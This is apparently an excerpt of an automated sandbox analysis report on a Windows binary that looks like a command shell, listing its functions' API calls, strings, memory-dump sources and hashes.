                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1EE0D83540822D778F3076A5FC0989D3F2C8B60324B644060B819A6451DF31D917D1F1
                                                                                                                                                                                                                                  Function 00D15EA3 Relevance: 3.3, APIs: 2, Instructions: 292COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D15EFB
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                    • Part of subcall function 00D18E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D58BF0,00000000,?), ref: 00D18EC3
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                    • Part of subcall function 00D20060: wcschr.MSVCRT ref: 00D2006C
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D15FF7
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$memset$CurrentDirectoryiswspace
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4234405029-0
                                                                                                                                                                                                                                  • Opcode ID: ca0cccd75de8732149082352d700d8dc44c091699603898d2f42dcd1c127a015
                                                                                                                                                                                                                                  • Instruction ID: 61f17f31306ec8680a958a285ff19e2b9ff196e2d70e8e15fdeea55bd930ff61
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ca0cccd75de8732149082352d700d8dc44c091699603898d2f42dcd1c127a015
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 72A1B171608351ABD718DB24E8556BFB7E5EFD4304F08882DB88AC2290EF74C985DB72
                                                                                                                                                                                                                                  Function 00D1E470 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 152COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                                                  • String ID: COMSPEC
                                                                                                                                                                                                                                  • API String ID: 2221118986-1631433037
                                                                                                                                                                                                                                  • Opcode ID: 61e3bcb4cee756b455daf70949453b7467f9285719261eb1094328fbc6b7f9ad
                                                                                                                                                                                                                                  • Instruction ID: afd2a5ca01c43ae4bedd430a2c51bf4ffe046df0dc5a35afc191f380b0f45190
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 61e3bcb4cee756b455daf70949453b7467f9285719261eb1094328fbc6b7f9ad
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E241A3707042117BEB349B28B5557EAB3D7ABA0758F18092AFC4687291FE74DCC486B3
                                                                                                                                                                                                                                  Function 00D26E30 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • __EH_prolog3_catch.LIBCMT ref: 00D26E37
                                                                                                                                                                                                                                    • Part of subcall function 00D2742D: malloc.MSVCRT ref: 00D27444
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: H_prolog3_catchmalloc
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 125873668-0
                                                                                                                                                                                                                                  • Opcode ID: 7727ef221f072b45eecbb76e392899a7d90da3e74b02abd0f75f11b76ec93756
                                                                                                                                                                                                                                  • Instruction ID: 8b703dcde285385c828135e2704d6f080207739f16334e29ed1c7f215c401694
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7727ef221f072b45eecbb76e392899a7d90da3e74b02abd0f75f11b76ec93756
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 33C08C25129230D6DB1077A0F00271C2A10EF30B0EF908004F0401D085EE7085242A75
                                                                                                                                                                                                                                  Function 00D21A05 Relevance: 1.3, APIs: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2221118986-0
                                                                                                                                                                                                                                  • Opcode ID: 82484a66433d427baad777aaad50e3a2a952d88375a577bc7acf038f6502c917
                                                                                                                                                                                                                                  • Instruction ID: 4f461ae77ba0520e30c7a528f2afd50e7ded867652e3b56b3ad1fbda2fff555f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82484a66433d427baad777aaad50e3a2a952d88375a577bc7acf038f6502c917
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D6E0867B74B2313FE23C15A97C87F678A9DCBE0B75F2D4136F6049A180E9918D0542B4

                                                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                                                  Function 00D34191 Relevance: 65.1, APIs: 30, Strings: 7, Instructions: 353memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,00000000,00000001), ref: 00D341B9
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D341CA
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 00D34205
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D3426C
                                                                                                                                                                                                                                  • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00D39E02,?,00000010), ref: 00D34283
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D34292
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D342B1
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D342C4
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00D342D2
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D342D9
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00D3432F
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D34336
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D343DB
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D343F0
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D34405
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D3441A
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D3442F
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D34444
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D34459
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,00000001,?), ref: 00D344A5
                                                                                                                                                                                                                                  • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?), ref: 00D344F0
                                                                                                                                                                                                                                  • FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,00000020,?,?,?), ref: 00D34506
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000), ref: 00D3451D
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00D34565
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D3456C
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00000001), ref: 00D34595
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D3459C
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D345C3
                                                                                                                                                                                                                                  • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00D39E02,?,00000000), ref: 00D345D4
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D345DD
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferCriticalInfoReadReleaseScreenSection$AllocCharacterCursorEnterFillHandleLeaveOutputPositionWrite_get_osfhandle
                                                                                                                                                                                                                                  • String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
                                                                                                                                                                                                                                  • API String ID: 2991647268-3100821235
                                                                                                                                                                                                                                  • Opcode ID: 1c98b6e3589f07341e2f033cdfb4c3761f3ff129a3714f3b422bef674a38daee
                                                                                                                                                                                                                                  • Instruction ID: e0f88e7b59e726d52c77ed60122d7209e50f415b718aed5d7cecf6982a6f1d1d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1c98b6e3589f07341e2f033cdfb4c3761f3ff129a3714f3b422bef674a38daee
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9AC1AF30604301AFC7109F68DC49A2BBBE5FF89715F084A2DF956D22A0DB79D944CB32
                                                                                                                                                                                                                                  Function 00D14C10 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 552COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: [...]$ [..]$ [.]$...$:
                                                                                                                                                                                                                                  • API String ID: 0-1980097535
                                                                                                                                                                                                                                  • Opcode ID: 337748b26790b29940c1af08640b5e7bbaa91eaac18606da1154a894750b713f
                                                                                                                                                                                                                                  • Instruction ID: c6bc763a01acd83f538a85fc3fb7fd36d8d8e26343a0d64327722ff89d702ae1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 337748b26790b29940c1af08640b5e7bbaa91eaac18606da1154a894750b713f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5612C1B02093519BD724DB24E845AAFB7E9EFA8348F04492DF589C7281EF34D845DB72
                                                                                                                                                                                                                                  Function 00D16854 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 366timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00D3E590,?,00002000), ref: 00D16896
                                                                                                                                                                                                                                  • SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D168AA
                                                                                                                                                                                                                                  • FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 00D168BE
                                                                                                                                                                                                                                  • FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D168D2
                                                                                                                                                                                                                                  • realloc.MSVCRT ref: 00D2A5E7
                                                                                                                                                                                                                                    • Part of subcall function 00D18791: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00D16906,0000001F,?,00000080), ref: 00D18791
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001F,?,00000080), ref: 00D16907
                                                                                                                                                                                                                                  • GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?), ref: 00D1698F
                                                                                                                                                                                                                                  • memmove.MSVCRT(?,?,?), ref: 00D16A86
                                                                                                                                                                                                                                  • GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000000), ref: 00D16AAF
                                                                                                                                                                                                                                  • realloc.MSVCRT ref: 00D16ACA
                                                                                                                                                                                                                                  • GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000001), ref: 00D16AFE
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Time$File$DateFormatSystem$realloc$DefaultInfoLocalLocaleUsermemmove
                                                                                                                                                                                                                                  • String ID: %02d%s%02d%s%02d$%s $%s %s
                                                                                                                                                                                                                                  • API String ID: 2927284792-4023967598
                                                                                                                                                                                                                                  • Opcode ID: 7699908490b5a2015c63a54f455e3cafaa07507f279e979b4990c523f3235a88
                                                                                                                                                                                                                                  • Instruction ID: 3faf3618836958d3c2a46c7a57dfd81b314c779e5cd430d784b042adacc2c862
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7699908490b5a2015c63a54f455e3cafaa07507f279e979b4990c523f3235a88
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CAC1E771900325ABCB24DF58AC45AEB77B8EF45304F1441AAE90AE7240EF31DD85CB71
                                                                                                                                                                                                                                  Function 00D24EC1 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 395fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D24F03
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,-00000001), ref: 00D24F67
                                                                                                                                                                                                                                  • FindClose.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000001), ref: 00D24F77
                                                                                                                                                                                                                                  • FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00D12670,?,?,?,-00000001), ref: 00D24FEB
                                                                                                                                                                                                                                  • FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,-00000001), ref: 00D25103
                                                                                                                                                                                                                                  • FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000001), ref: 00D2511E
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 00D25141
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Find$File$CloseFirstmemset$Next
                                                                                                                                                                                                                                  • String ID: \\?\
                                                                                                                                                                                                                                  • API String ID: 3059144641-4282027825
                                                                                                                                                                                                                                  • Opcode ID: 0d36194452ff82fecbe6c93365ecdcd7af0f0f1e79b265956484ca60e3319319
                                                                                                                                                                                                                                  • Instruction ID: e3a086c6e4ded7530f12871593780570240c63caaeaba4d522ea0d27a0756918
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0d36194452ff82fecbe6c93365ecdcd7af0f0f1e79b265956484ca60e3319319
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95E10771A002259BDB24DB68EC95FFA77B8EF64308F4805A9E909D7185EB31DD81CB70
                                                                                                                                                                                                                                  Function 00D1532E Relevance: 19.8, APIs: 13, Instructions: 272COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000002), ref: 00D1539C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                                                                                  • Opcode ID: 5b6977fb771f35ee609f1ea15cde0395bb1251e5bc547d96f653d8f7871201a2
                                                                                                                                                                                                                                  • Instruction ID: d8f99f566395eca87ed2f4df605db7584290f540a2719d2f2d5d0662a75a1f9f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6977fb771f35ee609f1ea15cde0395bb1251e5bc547d96f653d8f7871201a2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D1A12671A002229BCB24DF68E8556FEF3B5EF64308F5845ADD946D3284EB319D82CB34
                                                                                                                                                                                                                                  Function 00D3769E Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 464COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(EF898DFC,00000000,?), ref: 00D37710
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D37722
                                                                                                                                                                                                                                    • Part of subcall function 00D1EC2E: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D3E590,00002000,?,00D58BF0,00000000,?,?,00D18F0D), ref: 00D1EC51
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D378BC
                                                                                                                                                                                                                                  • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00D379F1
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00D11F8C,00D13B98), ref: 00D37B15
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,EF898DFC,00000000,?), ref: 00D37D0D
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D37D20
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CriticalSection$EnterLeave$DriveEnvironmentFreeLocalTypeVariabletowupper
                                                                                                                                                                                                                                  • String ID: %s $%s>$PROMPT$Unknown
                                                                                                                                                                                                                                  • API String ID: 708651206-3050974680
                                                                                                                                                                                                                                  • Opcode ID: b24819026bb24926b292404dd83110c355e8ef3267b9f63458280051d1fabaef
                                                                                                                                                                                                                                  • Instruction ID: 6448dc77a0fc3fb2b86ab154b96c7a58a7ab9b57b28682d8b1ed0fc7931eb71a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b24819026bb24926b292404dd83110c355e8ef3267b9f63458280051d1fabaef
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4002D4B9A056159BCB349F28DC496EAB7B5EF45700F08819AE809E7250EF305E81DF74
                                                                                                                                                                                                                                  Function 00D3C1FA Relevance: 19.7, APIs: 13, Instructions: 179filememorynativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D3C135: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?), ref: 00D3C14E
                                                                                                                                                                                                                                    • Part of subcall function 00D3C135: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000008,?,00000000,00000000,?), ref: 00D3C16A
                                                                                                                                                                                                                                    • Part of subcall function 00D3C135: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?,?,00000000,00000000,?), ref: 00D3C17B
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(40002749,00000001), ref: 00D3C24F
                                                                                                                                                                                                                                  • CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001), ref: 00D3C270
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000001,00000000,00000003,02000000,00000000), ref: 00D3C293
                                                                                                                                                                                                                                  • RtlDosPathNameToNtPathName_U.NTDLL ref: 00D3C2AE
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3C2EF
                                                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,?), ref: 00D3C324
                                                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?), ref: 00D3C370
